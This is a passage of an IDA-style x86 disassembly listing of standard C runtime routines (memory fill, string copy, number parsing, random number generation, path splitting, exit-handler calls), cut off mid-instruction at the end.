sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB32C push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC948 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC940 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C324 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC944 nop call near ptr 27D0000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C534, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C328 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C534, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A2CC test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2F0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 27205B5h push eax call near ptr 2710BFCh nop loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2EC, edi mov byte_4DB2E8, bl jnz short loc_41B844 mov eax, dword_4DC95C test eax, eax jz short loc_41B833 mov ecx, dword_4DC958 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC95C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2F0, edi call near ptr 77E75CB5h nop loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A2B0, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A2B0 imul eax, 343FDh add eax, 269EC3h mov dword_43A2B0, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC821[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C534, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C534, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C534, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C328 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, 